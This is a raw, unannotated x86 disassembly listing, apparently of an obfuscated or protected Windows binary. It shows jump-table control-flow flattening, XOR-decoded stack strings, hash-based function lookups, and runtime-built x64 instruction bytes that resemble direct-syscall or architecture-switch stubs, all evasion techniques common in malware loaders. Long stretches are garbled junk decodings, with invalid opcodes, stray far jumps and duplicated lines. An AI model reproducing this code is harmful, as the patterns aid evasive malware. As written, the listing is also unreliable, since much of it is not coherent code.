mov dword [esp + 0x118], ecx
mov eax, dword [esp + 0x11c]
mov ecx, dword [esp + 0x118]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e590
xor eax, eax
mov ecx, ebx
sub ecx, edi
setae cl
mov dword [esp + 0x230], 0
mov edx, dword [esp + 0x234]
mov esi, dword [esp + 0x230]
mov edx, dword [edx + esi*4]
jmp edx
movzx eax, al
and eax, 1
mov dword [esp + 0x270], eax
mov eax, dword [esp + 0x274]
mov ecx, dword [esp + 0x270]
mov eax, dword [eax + ecx*4]
mov edi, dword [esp + 0x4a8]
mov ebx, dword [esp + 0x10]
jmp eax
call fcn.0040e590
mov dword [esp + 0x130], 0
mov eax, dword [esp + 0x134]
mov ecx, dword [esp + 0x130]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x7c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [edi]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x3c8], ecx
mov eax, dword [esp + 0x3cc]
mov ecx, dword [esp + 0x3c8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e590
mov dword [esp + 0xe0], 1
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0xe0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e590
mov eax, ebp
add eax, 4
mov dword [esp + 0x1a0], 1
mov ecx, dword [esp + 0x1a4]
mov edx, dword [esp + 0x1a0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov ecx, dword [esp + 0x338]
mov edx, dword [esp + 0x33c]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0040e590
mov dword [esp + 0x418], 0
mov eax, dword [esp + 0x41c]
mov ecx, dword [esp + 0x418]
mov eax, dword [eax + ecx*4]
jmp eax
mov byte [0x9f23c34d], al
adc eax, 0x848b14cf
and al, 0xb0
add byte [eax], al
add byte [ebx + 0xb4248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
ret
call fcn.0040e590
mov dword [esp + 0x1f0], 1
mov eax, dword [esp + 0x1f4]
mov ecx, dword [esp + 0x1f0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e590
mov dword [esp + 0x248], 1
mov eax, dword [esp + 0x24c]
mov ecx, dword [esp + 0x248]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e590
xor eax, eax
mov ecx, esi
sub ecx, 0x5c
sete cl
mov dword [esp + 0x170], 0
mov edx, dword [esp + 0x174]
mov edi, dword [esp + 0x170]
mov edx, dword [edx + edi*4]
jmp edx
mov al, byte [esp + 0x24]
mov byte [esp + 0x28], al
mov byte [esp + 0x30], 0x56
mov byte [esp + 0x31], 0xf
mov byte [esp + 0x32], 0xb2
mov byte [esp + 0x33], 0x71
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], 0x73
mov eax, 6
mov byte [esp + eax + 0x30], 0
add eax, 1
cmp eax, 0xa
jne 0x43c722
xor eax, eax
mov edi, dword [esp + 0x4a8]
cmp eax, 0xa
jae 0x43c754
mov cl, byte [esp + eax + 0x30]
mov dl, al
add dl, 0x3d
xor dl, cl
add dl, 0xcf
mov byte [esp + eax + 0x30], dl
add eax, 1
jmp 0x43c738
add edi, 2
lea eax, [esp + 0x30]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.0043cb60
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x3c0], ecx
mov eax, dword [esp + 0x3c4]
mov ecx, dword [esp + 0x3c0]
mov eax, dword [eax + ecx*4]
jmp eax
mov word [edi], 0
mov eax, dword [esp + 0x478]
mov ecx, dword [esp + 0x47c]
mov eax, dword [ecx + eax*4]
mov ebx, edi
jmp eax
mov edx, dword [esp + 0x168]
mov esi, dword [esp + 0x16c]
mov edx, dword [esi + edx*4]
jmp edx
call fcn.0040e590
mov dword [esp + 0x398], 1
mov eax, dword [esp + 0x39c]
mov ecx, dword [esp + 0x398]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e590
mov dword [esp + 0x100], 0
mov eax, dword [esp + 0x104]
mov ecx, dword [esp + 0x100]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov edi, dword [esp + 0x4a8]
cmp eax, 0xa
jae 0x43c864
mov dl, byte [esp + eax + 0x14]
mov esi, eax
and esi, 0xf8
xor esi, 0xf8
mov ecx, eax
and ecx, 7
sub ecx, esi
xor cl, dl
add cl, 0xd8
mov byte [esp + eax + 0x14], cl
add eax, 1
jmp 0x43c838
mov eax, edi
add eax, 2
lea ecx, [esp + 0x14]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.0043cb60
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0xac]
mov eax, dword [ecx + eax*4]
jmp eax
iretd
mov esi, ebp
add esi, 2
mov ax, word [ebp + 2]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x3d8], ecx
mov eax, dword [esp + 0x3dc]
mov ecx, dword [esp + 0x3d8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x380]
mov ecx, dword [esp + 0x384]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e590
mov ax, word [esi]
mov dword [esp + 0x340], 0
mov ecx, dword [esp + 0x344]
mov edx, dword [esp + 0x340]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor eax, eax
mov al, bl
and eax, 1
mov dword [esp + 0x1e8], eax
mov eax, dword [esp + 0x1ec]
mov ecx, dword [esp + 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ebp, dword [ebp + edi*4 + 0x24848bbe]
nop
add byte [eax], al
add byte [ebx + 0x94248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [esp + 0x2a8]
mov edx, dword [esp + 0x2ac]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov ecx, dword [esp + 0x198]
mov edx, dword [esp + 0x19c]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov ecx, dword [esp + 0x3f8]
mov edx, dword [esp + 0x3fc]
mov ecx, dword [edx + ecx*4]
mov ebx, eax
mov edi, dword [esp + 0x4a8]
jmp ecx
add ebp, 4
mov eax, dword [esp + 0x378]
mov ecx, dword [esp + 0x37c]
mov eax, dword [ecx + eax*4]
mov esi, ebp
mov edi, dword [esp + 0x4a8]
jmp eax
mov edx, dword [esp + 0x2d0]
mov esi, dword [esp + 0x2d4]
mov edx, dword [esi + edx*4]
jmp edx
mov al, byte [esp + 0xe]
mov bl, al
and ebx, 1
mov dword [esp + 0x410], ebx
mov eax, dword [esp + 0x414]
mov ecx, dword [esp + 0x410]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1d0]
mov ecx, dword [esp + 0x1d4]
mov ecx, dword [ecx + eax*4]
mov eax, esi
jmp ecx
call fcn.0040e590
mov dword [esp + 0x320], 1
mov eax, dword [esp + 0x324]
mov ecx, dword [esp + 0x320]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x124]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e590
mov al, bl
inc al
mov dword [esp + 0x278], 0
mov ecx, dword [esp + 0x27c]
mov edx, dword [esp + 0x278]
mov ecx, dword [ecx + edx*4]
jmp ecx
lahf
invalid
mov eax, dword fs:[eax]
mov edi, dword [eax + 0x18]
mov ebx, dword [0x457ae0]
jmp dword [0x44d90c]
push esi
push 0
push edi
call ebx
nop
nop
nop
nop
nop
nop
push esi
push 0
push edi
call ebx
jmp dword [0x44d910]
add esp, 8
pop esi
pop edi
pop ebx
ret
int3
mov dword [esp + 4], 0xc9cacb1c
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
xor eax, eax
xor ebx, ebx
nop
mov dword [esp], eax
mov ecx, eax
and cl, 1
mov eax, ecx
or al, 2
mov edx, ebx
shr dl, 1
and dl, 1
mul dl
mov edx, eax
mov ah, bl
not ah
and ah, 2
mov al, cl
mul ah
add dl, dl
mov ecx, dword [esp]
and cl, 3
add cl, cl
sub dl, cl
add dl, 0x32
movzx ecx, dl
movzx eax, al
add eax, ebx
add eax, ecx
inc al
xor al, byte [esp + ebx + 4]
inc al
mov byte [esp + ebx + 4], al
mov eax, dword [esp]
inc ebx
inc al
cmp ebx, 7
jne 0x43e130
mov eax, dword [esp + 4]
mov eax, dword fs:[eax]
push esi
push 0
push dword [eax + 0x18]
call dword [0x457ae8]
add esp, 0xc
pop esi
pop ebx
ret
int3
xor edx, edx
test ecx, ecx
sete dl
jmp dword [edx*4 + 0x44dd04]
mov dword [esp], 0xe1e6e7d4
mov byte [esp + 4], 0
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, edx
add bl, 0x29
xor bl, byte [esp + edx]
add bl, 0x33
mov byte [esp + edx], bl
inc edx
cmp edx, 5
jne 0x440a70
mov edx, dword [esp]
mov edx, dword fs:[edx]
push ecx
push eax
push 0
push dword [edx + 0x18]
call dword [0x457ae4]
jmp 0x440aaf
push ecx
call fcn.0043e040
add esp, 0xc
pop ebx
ret
push eax
call fcn.0043e100
add esp, 4
xor eax, eax
add esp, 8
pop ebx
ret
sar dl, 0x44
add byte [ecx], dh
fstp xword [ecx]
add al, 0xd7
sete bl
jmp dword [ebx*4 + 0x44e168]
movzx ecx, cl
mov dl, 1
mov dword [esp + 0x14], edx
jmp dword [ecx*4 + 0x44e178]
cli
inc esp
add byte [ecx + 0x7489ca04], cl
retf 0xb004
jmp dword [eax*4 + 0x44e0f8]
push esp
or eax, 0xc0920f18
jmp dword [eax*4 + 0x44e0f8]
int3
mov al, 0x89
ja 0x441edc
or eax, dword [edx + 0x39]
sal dword [ebp - 0xe], 1
mov edi, dword [esp + 0x24]
jmp 0x441ea2
push 0
push 0
push eax
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0xffffffffffffffff
push 7
push dword [0x44fac4]
push ecx
call fcn.00440ac0
add esp, 0x28
test eax, eax
js 0x441f5e
add byte [eax], al
add byte [eax], al
push 0x1e03da9a
push dword [0x457ad8]
call fcn.00443160
add esp, 8
push 0
push 0
push ebx
push esi
push edi
push ebp
push dword [esp + 0x20]
call eax
ror byte [ebx - 0x38f7db94], 1
add al, 0x24
sti
cli
std
cld
ror byte [ebx - 0x38f7db94], 1
add al, 0x24
sti
cli
std
cld
mov word [esp + 4], 0
mov edx, 0x6e7ce22a
loop 0x441f5d
outsb dx, byte [esi]
add byte [edx + 0x6e7ce22a], bh
loop 0x441f5d
outsb dx, byte [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + edx - 0x6e7ce22a]
mov ebx, ecx
and ebx, edx
add bl, bl
sub cl, bl
movzx ecx, cl
add ecx, edx
add cl, 0x2e
mov byte [esp + edx - 0x6e7ce22a], cl
inc edx
cmp edx, 0x6e7ce230
jl 0x441f84
jl 0x441f84
jne 0x441ef0
mov edx, dword [0x44fabc]
test edx, edx
je 0x441f5e
mov esi, dword [esp]
xor edi, edi
mov ebx, dword [0x44fac0]
nop
nop
nop
cmp dword [ebx + edi*8], 0x7e776f1
pop es
je 0x441f40
inc edi
cmp edx, edi
jne 0x441f30
jmp 0x441f5e
mov edx, dword [ebx + edi*8 + 4]
cmp edx, esi
je 0x441f5e
push ebp
push 1
push dword [0x44fac4]
push edx
mov esi, eax
call fcn.00440ac0
dec dword [ecx + 0x10c483f0]
dec dword [ecx + 0x10c483f0]
adc byte [ebx + 0x5f5e0cc4], al
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
in al, dx
sbb byte [0x7d8b0000], al
or bh, al
test byte [eax + ecx*4], ah
and al, 0x88
add dword [eax], eax
add bl, bh
cli
std
cld
mov word [esp + 0x18c], 0
mov eax, 0x6e7ce22a
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x6e7ce0a2]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
rol dword [eax - 0x7377d13f], 4
pop esi
pop ds
adc dword [ecx - 0x1dcfc2c0], 0x7c
outsb dx, byte [esi]
rol dword [eax - 0x7377d13f], 4
pop esi
pop ds
adc dword [ecx - 0x1dcfc2c0], 0x7c
outsb dx, byte [esi]
jne 0x441fa0
mov eax, dword [esp + 0x188]
mov ecx, dword [0x44fabc]
test ecx, ecx
je 0x44201a
xor edx, edx
mov esi, dword [0x44fac0]
cmp dword [esi + edx*8], 0x7789b0cb
je 0x441ff0
inc edx
cmp ecx, edx
jne 0x441fe0
jmp 0x44201a
mov ecx, dword [esi + edx*8 + 4]
cmp ecx, eax
je 0x44201a
lea eax, [esp + 0x10]
push 2
push 0
push 0
push eax
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0xffffffffffffffff
push 7
push dword [0x44fac4]
push ecx
call fcn.00440ac0
add esp, 0x28
test eax, eax
js 0x442296
mov ebx, dword [esp + 0x10]
mov dword [esp + 0x188], 0xfcfdfafb
mov word [esp + 0x18c], 0
mov ecx, 0x6e7ce22a
jl 0x4420ae
jl 0x4420ae
movzx eax, byte [esp + ecx - 0x6e7ce0a2]
mov edx, eax
and edx, ecx
add dl, dl
sub al, dl
movzx eax, al
add eax, ecx
add al, 0x2e
mov byte [esp + ecx - 0x6e7ce0a2], al
inc ecx
cmp ecx, 0x6e7ce230
stc
xor dl, ah
jl 0x4420d3
stc
xor dl, ah
jl 0x4420d3
jne 0x442040
mov esi, dword [esp + 0x188]
mov ecx, dword [0x44fabc]
test ecx, ecx
je 0x4420be
xor eax, eax
mov edx, dword [0x44fac0]
cmp dword [edx + eax*8], 0x1cbb9425
je case.0x43ac14.218
inc eax
cmp ecx, eax
jne 0x442080
jmp 0x4420be
mov eax, dword [edx + eax*8 + 4]
cmp eax, esi
je 0x4420be
lea ecx, [esp + 0x188]
push 0
push 0x30
push ecx
push 0
push ebx
push 5
push dword [0x44fac4]
push eax
call fcn.00440ac0
ljmp 0x8920
invalid
mov ebx, dword [esp + 0x10]
add byte [eax - 0x18], dl
or ebp, edx
invalid
invalid
ljmp 0x8920:0xc483ffff
mov dword [esp + 0xc], ebx
mov eax, dword [esp + 0x190]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x194]
add byte [ecx - 0x38fbdbbc], cl
inc esp
and al, 0x68
sti
cli
std
cld
mov dword [esp + 4], eax
mov dword [esp + 0x68], 0xfcfdfafb
mov word [esp + 0x6c], 0
mov ecx, 0x6e7ce22a
nop
nop
nop
nop
movzx eax, byte [esp + ecx - 0x6e7ce1c2]
mov edx, eax
and edx, ecx
add dl, dl
sub al, dl
movzx eax, al
add eax, ecx
add al, 0x2e
mov byte [esp + ecx - 0x6e7ce1c2], al
inc ecx
cmp ecx, 0x6e7ce230
jne 0x4420f0
mov ecx, dword [0x44fabc]
test ecx, ecx
je 0x44215d
add byte [ebp - 0x74c38b37], al
push esp
and al, 0x68
mov edx, dword [esp + 0x68]
xor eax, eax
mov ebx, dword [0x44fac0]
nop
nop
nop
cmp dword [ebx + eax*8], 0x7e776f1
je 0x442140
inc eax
cmp ecx, eax
jne 0x442130
jmp 0x44215d
mov eax, dword [ebx + eax*8 + 4]
cmp eax, edx
je 0x44215d
push dword [esp + 0xc]
push 1
push dword [0x44fac4]
push eax
call fcn.00440ac0
add esp, 0x10
test esi, esi
js 0x442296
lea eax, [esp + 0x188]
push 0x20
push eax
push dword [esp + 0xc]
push dword [esp + 0x14]
call fcn.00441d90
add esp, 0x10
test eax, eax
js 0x442296
lea eax, [esp + 0x10]
push 0x20
push eax
push dword [esp + 0x1ac]
push dword [esp + 0x1ac]
call fcn.00441d90
add esp, 0x10
test eax, eax
js 0x442296
mov eax, dword [esp + 0x1a0]
mov ecx, dword [esp + 0x1a4]
add eax, 0x10
mov dword [esp + 8], eax
adc ecx, 0
mov dword [esp + 4], ecx
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x68], eax
jmp 0x44220e
cmp cx, dx
je 0x4422a2
push esi
call fcn.0043e100
add esp, 4
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0x6c]
mov edx, ecx
xor edx, dword [esp + 4]
mov esi, eax
xor esi, dword [esp + 8]
or esi, edx
je 0x442296
push 0x68
lea edx, [esp + 0x6c]
push edx
push ecx
push eax
call fcn.00441d90
add esp, 0x10
test eax, eax
js 0x442296
movzx eax, word [esp + 0xc2]
push eax
call fcn.0043e040
add esp, 4
mov esi, eax
movzx eax, word [esp + 0xc2]
push eax
push esi
push dword [esp + 0xd4]
push dword [esp + 0xd4]
call fcn.00441d90
add esp, 0x10
test eax, eax
invalid
js 0x4421e9
sar byte [eax - 0x71], 0x31
rcl byte [eax + 0xf909090], 0xb7
or al, 7
xor eax, eax
nop
nop
nop
nop
movzx ecx, word [edi + eax]
lea edx, [ecx - 0x41]
cmp dx, 0x1a
jae 0x442270
or ecx, 0x20
movzx edx, word [esi + eax]
lea ebx, [edx - 0x41]
cmp bx, 0x1a
sti
sbb dh, byte [ebx + 3]
sti
sbb dh, byte [ebx + 3]
or edx, 0x20
test cx, cx
je 0x4421e0
add eax, 2
cmp cx, dx
je 0x442260
jmp 0x4421e0
xor eax, eax
xor edx, edx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov edi, dword [esp + 0x98]
mov ebx, dword [esp + 0x9c]
push esi
call fcn.0043e100
mov edx, ebx
mov eax, edi
add esp, 4
jmp 0x44229a
jp 0x442384
add byte [ecx], cl
ror byte [edi], 1
test ah, bl
add byte [eax], al
add byte [ecx + 0x24848dd3], cl
dec esp
add dword [eax], eax
add byte [edx + 0x40], ch
push eax
push ebx
push ebp
call fcn.00441d90
add esp, 0x10
test eax, eax
ror byte [edi], 0x88
invalid
add byte [eax], al
invalid
ror byte [edi], 0x88
mov esi, 0x8b000000
test byte [eax + ecx*4], ah
add dword [eax], eax
add byte [ecx + 0x1ff9c1c1], cl
mov eax, dword [esp + 0x188]
mov ecx, eax
sar ecx, 0x1f
add eax, ebp
adc ecx, ebx
add eax, 0x18
adc ecx, 0
lea edx, [esp + 0x18c]
push 0xf0
push edx
push ecx
lock add byte [eax], al
add byte [edx + 0x51], dl
push eax
call fcn.00441d90
cli
invalid
inc dword [ebx - 0xceef3c]
test eax, eax
js 0x442426
cli
invalid
cmp dword [esp + 0x200], 0
je 0x442426
mov eax, dword [esp + 0x1fc]
mov esi, 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
test eax, eax
je 0x442428
add eax, ebp
mov ecx, ebx
adc ecx, 0
lea edx, [esp + 0x24]
push 0x28
push edx
push ecx
push eax
call fcn.00441d90
add esp, 0x10
test eax, eax
js 0x442424
mov ecx, dword [esp + 0x38]
lea esi, [ecx*4]
mov eax, 0xffffffff
cmp ecx, 0x40000000
jae 0x4423ed
mov eax, esi
push eax
call fcn.0040cbb0
add esp, 4
mov edx, dword [esp + 0x40]
add edx, ebp
mov ecx, ebx
adc ecx, 0
push esi
mov dword [esp + 8], eax
push eax
push ecx
push edx
call fcn.00441d90
add esp, 0x10
les edx, [eax]
les edx, [eax]
test eax, eax
js 0x442437
mov eax, dword [esp + 0x38]
test eax, eax
jns 0x442440
mov eax, 0xffffffff
jmp 0x442442
xor edi, edi
xor esi, esi
mov eax, edi
mov edx, esi
add esp, 0x27c
pop esi
pop edi
pop ebx
pop ebp
ret
xor edi, edi
xor esi, esi
jmp 0x442676
add al, byte [eax]
invalid
add al, byte [eax]
add byte [ecx], al
rcl byte [eax - 0x18], 0x68
cmpsd dword [esi], dword es:[edi]
cld
inc dword [ebx + 0x748b04c4]
and al, 0x3c
add eax, eax
push eax
call fcn.0040cbb0
add esp, 4
mov esi, dword [esp + 0x3c]
add esi, esi
mov ecx, dword [esp + 0x48]
add ecx, ebp
mov edx, ebx
adc edx, 0
push esi
mov dword [esp + 4], eax
push eax
push edx
push ecx
call fcn.00441d90
add esp, 0x10
test eax, eax
js 0x442667
mov esi, dword [esp + 0x3c]
mov eax, 0xffffffff
cmp esi, 0x40000000
jae 0x44248c
lea eax, [esi*4]
push eax
call fcn.0040cbb0
add esp, 4
mov edx, esi
and edx, 0xfffffffb
mov ecx, esi
and ecx, 4
loope 0x4424a3
loope 0x4424a3
or esi, 4
imul esi, ecx
scasd eax, dword es:[edi]
int1
xor ecx, 4
imul ecx, edx
add esi, ecx
mov edx, dword [esp + 0x44]
add edx, ebp
mov ecx, ebx
adc ecx, 0
push esi
mov dword [esp + 0x14], eax
push eax
push ecx
push edx
call fcn.00441d90
add esp, 0x10
test eax, eax
js 0x442655
mov esi, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
cmp esi, eax
jb 0x4424de
mov esi, eax
test esi, esi
je 0x442655
add byte [eax], al
add byte [eax], al
xor edi, edi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x18], esi
jmp 0x442521
mov eax, 0xfb520141
mov edi, dword [esp + 0xc]
cmp eax, dword [esp + 0x290]
mov ebp, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
mov ebx, dword [esp + 0x20]
je 0x442687
inc edi
cmp edi, esi
je 0x442655
mov eax, dword [esp + 0x10]
mov eax, dword [eax + edi*4]
add eax, ebp
mov ecx, ebx
adc ecx, 0
push 0x100
lea edx, [esp + 0x50]
push edx
push ecx
push eax
call fcn.00441d90
add esp, 0x10
test eax, eax
jns 0x44254e
cmp eax, 0x8000000d
jne 0x442518
add byte [eax + 0x7c89ca75], al
and al, 0xc
mov dword [esp + 0xc], edi
mov ecx, 0xffffffff
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
cmp byte [esp + ecx + 0x4d], 0
lea ecx, [ecx + 1]
lea eax, [eax + 1]
add dword [ebp - 0xf], esi
add dword [ebp - 0xf], esi
mov dword [esp + 8], edx
mov dword [esp + 0x14], 0x22222093
xor edi, edi
lea esi, [esp + 0x14]
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esi]
mov edx, edi
and edx, 0x8d0dde90
mov ebp, ebx
xor ebp, 0x397910b7
sub ebp, edx
inc ebp
xor ebp, eax
add ebp, 0xe0a2ac67
mov eax, ebp
and eax, 1
xor ebp, 1
lea eax, [eax*2]
add eax, ebp
mov byte [esi], al
dec ebx
add edi, 0xfffffffe
inc esi
cmp ebx, 0xfffffffc
jne 0x442590
test ecx, ecx
je 0x4424f6
mov edx, dword [esp + 0x14]
mov ebp, 0xfb520141
lea esi, [esp + 0x4c]
cmp ecx, 4
jb 0x44261b
mov eax, dword [esp + 8]
and eax, 0xfffffffc
nop
nop
nop
nop
movsx edi, byte [esi]
xor edi, ebp
imul edi, edx
movsx ebx, byte [esi + 1]
xor ebx, edi
imul ebx, edx
movsx edi, byte [esi + 2]
xor edi, ebx
imul edi, edx
movsx ebp, byte [esi + 3]
add esi, 4
xor ebp, edi
imul ebp, edx
add eax, 0xfffffffc
jne 0x4425f0
mov eax, ebp
test cl, 3
mov edi, dword [esp + 0xc]
mov ebx, dword [esp + 8]
je 0x4424ff
and ebx, 3
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movsx eax, byte [esi + ecx]
xor eax, ebp
imul eax, edx
inc ecx
mov ebp, eax
cmp ebx, ecx
jne 0x442640
jmp 0x4424ff
xor edi, edi
xor esi, esi
push dword [esp + 0x10]
call fcn.0040cbc0
add esp, 4
jmp 0x44266b
xor edi, edi
xor esi, esi
push dword [esp]
call fcn.0040cbc0
add esp, 4
push dword [esp + 4]
call fcn.0040cbc0
add esp, 4
jmp 0x442428
mov eax, dword [esp]
movzx eax, word [eax + edi*2]
mov ecx, dword [esp + 4]
add ebp, dword [ecx + eax*4]
adc ebx, 0
mov edi, ebp
mov esi, ebx
jmp 0x442659
inc ebp
add byte [ebx + 0x457af8], ah
mov ecx, eax
or ecx, edx
je case.0x43ac14.185
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + edi], 0
lea edi, [edi + 1]
jne case.0x43ac14.178
lea ebx, [edi - 1]
mov word [esp], bx
mov word [esp + 2], di
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
mov esi, dword [0x457af0]
xor eax, 0x457af0
xor eax, 0x457af0
mov edi, dword [0x457af4]
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], esi
mov esi, esp
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], 0
inc esp
and al, 0x24
add byte [eax], al
add byte [eax], al
inc esp
and al, 0x24
add byte [eax], al
add byte [eax], al
mov dword [esp + 0x20], 0
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], 0
lea ecx, [esp + 0x10]
push 4
push ecx
push edx
push eax
call fcn.00442770
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
jmp 0x44275d
in al, 0
mov dword [esp + 0x38], 0x4010ec83
mov dword [esp + 0x34], 0x48e78948
mov dword [esp + 0x30], 0xce8948fc
mov dword [esp + 0x23], 0xc3fc8948
mov dword [esp + 0x20], 0x48d2ff41
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0xfffffff1
mov dword [esp + 0x14], 0xba49c031
lea edi, [esp + 0x40]
lea eax, [esp + 0x30]
mov ecx, 3
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0x4c]
lea eax, [esp + 0x3c]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
movzx eax, byte [esp + 0x3e]
and al, 0x3e
and al, 0x3e
mov byte [esp + 0x4e], al
mov esi, ebx
cmp ebx, 4
jb 0x442801
mov esi, 4
lea edx, [esp + 0x4f]
test ebx, ebx
je 0x4429cc
xor ebp, ebp
jmp 0x44284a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 0x4473c5
mov ecx, 1
mov edi, edx
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
add edx, 4
mov eax, 0x4473c9
mov edi, edx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
inc ebp
cmp esi, ebp
je 0x4428c9
cmp ebp, 3
ja case.default.0x44284f
jmp dword [ebp*4 + 0x446be0]
mov eax, 0x4473ca
xor ecx, ecx
mov edi, edx
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov eax, 0x4473ca
retf 0x4473
add byte [ecx + 1], bh
mov edi, edx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov byte [edx + 2], 0xe
add edx, 3
jmp case.default.0x44284f
retf 0x4473
mov eax, 0x4473c0
mov ecx, 1
mov edi, edx
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
add edx, 4
mov eax, 0x4473c4
jae case.0x43ac14.197
add byte [ecx], dh
leave
jae case.0x43ac14.197
add byte [ecx], dh
leave
mov edi, edx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
jmp case.default.0x44284f
mov eax, 0x4473ce
mov ecx, 1
mov edi, edx
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
add edx, 4
mov eax, 0x4473d2
sal byte [ebx + 0x44], cl
add byte [ecx - 0x6936ce29], cl
sal byte [ebx + 0x44], cl
add byte [ecx - 0x6936ce29], cl
rep movsw word es:[edi], word [esi]
xchg esi, eax
jmp case.default.0x44284f
cmp ebx, 3
jbe 0x4429cc
test bl, 1
je 0x4428fa
mov eax, 0x4473d7
mov esi, 0x4473d7
add byte [esi + 0x4473d7], bh
mov edi, edx
xor ecx, ecx
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
mov edi, edx
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
add edx, 2
mov word [esp + 4], 0x50
mov dword [esp], 0x20468b48
and al, 4
push eax
add bh, al
add al, 0x24
dec eax
mov eax, dword [esi + 0x20]
mov byte [esp + 0x10], 0
mov dword [esp + 0xc], 0x50000000
mov dword [esp + 8], 0x80868b48
lea eax, [ebx*8]
cmp eax, 0x7ffffffe
ja 0x442c15
invalid
add byte [ebx - 0x7d], cl
sti
add al, 0xf
adc byte [ebx - 0x77000000], 0xe0
dec ebx
cmp ebx, 4
jb 0x4429cc
mov eax, esp
lea esi, [esp + 8]
jmp 0x44297d
mov dword [esp + 0xb], ecx
mov ebx, esi
mov edi, edx
mov ecx, 2
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
add edx, 8
lea ebx, [esp + 0x10]
xor ecx, ecx
mov edi, edx
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ebx, ebp
dec ebx
cmp ebx, 3
jbe 0x4429cc
mov edi, ebx
and edi, 0xfffffff7
mov ecx, ebx
and ebx, 8
mov ebp, ecx
or ecx, 8
imul ecx, ebx
scasd eax, dword es:[edi]
retf
xor ebx, 8
imul ebx, edi
add ecx, ebx
cmp ecx, 0x7e
ja 0x442950
scasd eax, dword es:[edi]
retf
mov byte [esp + 3], cl
mov ebx, eax
mov edi, edx
mov ecx, 1
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
lea edi, [edx + 4]
